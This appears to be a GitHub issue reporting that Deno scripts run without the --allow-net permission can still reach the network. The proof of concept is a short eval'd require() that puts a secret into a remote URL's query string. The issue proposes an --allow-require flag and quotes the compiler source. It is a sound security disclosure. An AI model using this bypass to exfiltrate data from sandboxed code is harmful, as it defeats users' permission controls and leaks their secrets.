<p dir="auto">Just experimenting with deno so please excuse my instant misbehave.</p>
<p dir="auto">But isn't the <code class="notranslate">--allow-net</code> flag's purpose is to encapsuate the process from the network and not let the script access the network without permission?</p>
<p dir="auto">If this is the case, then we should block imports/require from calling remote urls.</p>
<p dir="auto">This small <a href="https://gist.github.com/hisorange/83a22f60c3e6928c497402c59bbb7736">snippet</a> allowed me to read and send my secret without net access.</p>
<p dir="auto">As I seen the <code class="notranslate">--allow-read</code> will block me from reading the filesystem but still the netwoking is available with crafted imports.</p>
<div class="highlight highlight-source-ts notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="eval(`require([&quot;http://localhost:8080/a.ts?secret=value&quot;], () =&gt; {
  console.log(&quot;Done&quot;);
})`);

export const x = null;"><pre class="notranslate"><span class="pl-en">eval</span><span class="pl-kos">(</span><span class="pl-s">`require(["http://localhost:8080/a.ts?secret=value"], () =&gt; {</span>
<span class="pl-s">  console.log("Done");</span>
<span class="pl-s">})`</span><span class="pl-kos">)</span><span class="pl-kos">;</span>

<span class="pl-k">export</span> <span class="pl-k">const</span> <span class="pl-s1">x</span> <span class="pl-c1">=</span> <span class="pl-c1">null</span><span class="pl-kos">;</span></pre></div>
<p dir="auto">As shown above, an attacker can still send user's sensitive data to somewhere online even when the user does not provide the <code class="notranslate">--allow-net</code> option.</p>
<h2 dir="auto">Possible soloution:</h2>
<p dir="auto">We can provide a new flag (e.x: <code class="notranslate">--allow-require</code>) and return <code class="notranslate">null</code> from <code class="notranslate">_makeLocalRequire()</code> unless user provides that flag.<br>
</p><div class="Box Box--condensed my-2">
  <div class="Box-header f6">
    <p class="mb-0 text-bold">
      <a href="https://github.com/denoland/deno/blob/3deaf99a92aeea347e1530f309fd4b226e9677d3/js/compiler.ts#L305-L331">deno/js/compiler.ts</a>
    </p>
    <p class="mb-0 color-fg-muted">
        Lines 305 to 331
      in
      <a data-pjax="true" class="commit-tease-sha" href="/denoland/deno/commit/3deaf99a92aeea347e1530f309fd4b226e9677d3">3deaf99</a>
    </p>
  </div>
  <div itemprop="text" class="Box-body p-0 blob-wrapper blob-wrapper-embedded data">
    <table class="highlight tab-size mb-0 js-file-line-container" data-tab-size="8" data-paste-markdown-skip="">

        <tbody><tr class="border-0">
          <td id="L305" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="305"></td>
          <td id="LC305" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">   <span class="pl-c">/**</span> </td>
        </tr>

        <tr class="border-0">
          <td id="L306" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="306"></td>
          <td id="LC306" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-c">   * Returns a require that specifically handles the resolution of a transpiled</span> </td>
        </tr>

        <tr class="border-0">
          <td id="L307" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="307"></td>
          <td id="LC307" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-c">   * emit of a dynamic ES `import()` from TypeScript.</span> </td>
        </tr>

        <tr class="border-0">
          <td id="L308" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="308"></td>
          <td id="LC308" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line"> <span class="pl-c">   */</span> </td>
        </tr>

        <tr class="border-0">
          <td id="L309" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="309"></td>
          <td id="LC309" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">   <span class="pl-k">private</span> <span class="pl-en">_makeLocalRequire</span><span class="pl-kos">(</span><span class="pl-s1">moduleMetaData</span>: <span class="pl-smi">ModuleMetaData</span><span class="pl-kos">)</span>: <span class="pl-smi">AMDRequire</span> <span class="pl-kos">{</span> </td>
        </tr>

        <tr class="border-0">
          <td id="L310" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="310"></td>
          <td id="LC310" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">     <span class="pl-k">return</span> <span class="pl-kos">(</span> </td>
        </tr>

        <tr class="border-0">
          <td id="L311" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="311"></td>
          <td id="LC311" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">       <span class="pl-s1">deps</span>: <span class="pl-smi">ModuleSpecifier</span><span class="pl-kos">[</span><span class="pl-kos">]</span><span class="pl-kos">,</span> </td>
        </tr>

        <tr class="border-0">
          <td id="L312" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="312"></td>
          <td id="LC312" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">       <span class="pl-s1">callback</span>: <span class="pl-smi">AmdCallback</span><span class="pl-kos">,</span> </td>
        </tr>

        <tr class="border-0">
          <td id="L313" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="313"></td>
          <td id="LC313" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">       <span class="pl-s1">errback</span>: <span class="pl-smi">AmdErrback</span> </td>
        </tr>

        <tr class="border-0">
          <td id="L314" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="314"></td>
          <td id="LC314" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">     <span class="pl-kos">)</span>: <span class="pl-smi"><span class="pl-k">void</span></span> <span class="pl-c1">=&gt;</span> <span class="pl-kos">{</span> </td>
        </tr>

        <tr class="border-0">
          <td id="L315" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="315"></td>
          <td id="LC315" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">       <span class="pl-en">log</span><span class="pl-kos">(</span><span class="pl-s">"localRequire"</span><span class="pl-kos">,</span> <span class="pl-s1">deps</span><span class="pl-kos">)</span><span class="pl-kos">;</span> </td>
        </tr>

        <tr class="border-0">
          <td id="L316" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="316"></td>
          <td id="LC316" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">       <span class="pl-en">assert</span><span class="pl-kos">(</span> </td>
        </tr>

        <tr class="border-0">
          <td id="L317" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="317"></td>
          <td id="LC317" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">         <span class="pl-s1">deps</span><span class="pl-kos">.</span><span class="pl-c1">length</span> <span class="pl-c1">===</span> <span class="pl-c1">1</span><span class="pl-kos">,</span> </td>
        </tr>

        <tr class="border-0">
          <td id="L318" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="318"></td>
          <td id="LC318" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">         <span class="pl-s">"Local require requires exactly one dependency."</span> </td>
        </tr>

        <tr class="border-0">
          <td id="L319" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="319"></td>
          <td id="LC319" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">       <span class="pl-kos">)</span><span class="pl-kos">;</span> </td>
        </tr>

        <tr class="border-0">
          <td id="L320" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="320"></td>
          <td id="LC320" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">       <span class="pl-k">const</span> <span class="pl-kos">[</span><span class="pl-s1">moduleSpecifier</span><span class="pl-kos">]</span> <span class="pl-c1">=</span> <span class="pl-s1">deps</span><span class="pl-kos">;</span> </td>
        </tr>

        <tr class="border-0">
          <td id="L321" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="321"></td>
          <td id="LC321" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">       <span class="pl-k">try</span> <span class="pl-kos">{</span> </td>
        </tr>

        <tr class="border-0">
          <td id="L322" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="322"></td>
          <td id="LC322" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">         <span class="pl-k">const</span> <span class="pl-s1">requiredMetaData</span> <span class="pl-c1">=</span> <span class="pl-smi">this</span><span class="pl-kos">.</span><span class="pl-en">run</span><span class="pl-kos">(</span> </td>
        </tr>

        <tr class="border-0">
          <td id="L323" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="323"></td>
          <td id="LC323" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">           <span class="pl-s1">moduleSpecifier</span><span class="pl-kos">,</span> </td>
        </tr>

        <tr class="border-0">
          <td id="L324" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="324"></td>
          <td id="LC324" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">           <span class="pl-s1">moduleMetaData</span><span class="pl-kos">.</span><span class="pl-c1">fileName</span> </td>
        </tr>

        <tr class="border-0">
          <td id="L325" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="325"></td>
          <td id="LC325" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">         <span class="pl-kos">)</span><span class="pl-kos">;</span> </td>
        </tr>

        <tr class="border-0">
          <td id="L326" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="326"></td>
          <td id="LC326" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">         <span class="pl-en">callback</span><span class="pl-kos">(</span><span class="pl-s1">requiredMetaData</span><span class="pl-kos">.</span><span class="pl-c1">exports</span><span class="pl-kos">)</span><span class="pl-kos">;</span> </td>
        </tr>

        <tr class="border-0">
          <td id="L327" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="327"></td>
          <td id="LC327" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">       <span class="pl-kos">}</span> <span class="pl-k">catch</span> <span class="pl-kos">(</span><span class="pl-s1">e</span><span class="pl-kos">)</span> <span class="pl-kos">{</span> </td>
        </tr>

        <tr class="border-0">
          <td id="L328" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="328"></td>
          <td id="LC328" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">         <span class="pl-en">errback</span><span class="pl-kos">(</span><span class="pl-s1">e</span><span class="pl-kos">)</span><span class="pl-kos">;</span> </td>
        </tr>

        <tr class="border-0">
          <td id="L329" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="329"></td>
          <td id="LC329" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">       <span class="pl-kos">}</span> </td>
        </tr>

        <tr class="border-0">
          <td id="L330" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="330"></td>
          <td id="LC330" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">     <span class="pl-kos">}</span><span class="pl-kos">;</span> </td>
        </tr>

        <tr class="border-0">
          <td id="L331" class="blob-num border-0 px-3 py-0 color-bg-default" data-line-number="331"></td>
          <td id="LC331" class="blob-code border-0 px-3 py-0 color-bg-default blob-code-inner js-file-line">   <span class="pl-kos">}</span> </td>
        </tr>
    </tbody></table>
  </div>
</div>
<p></p>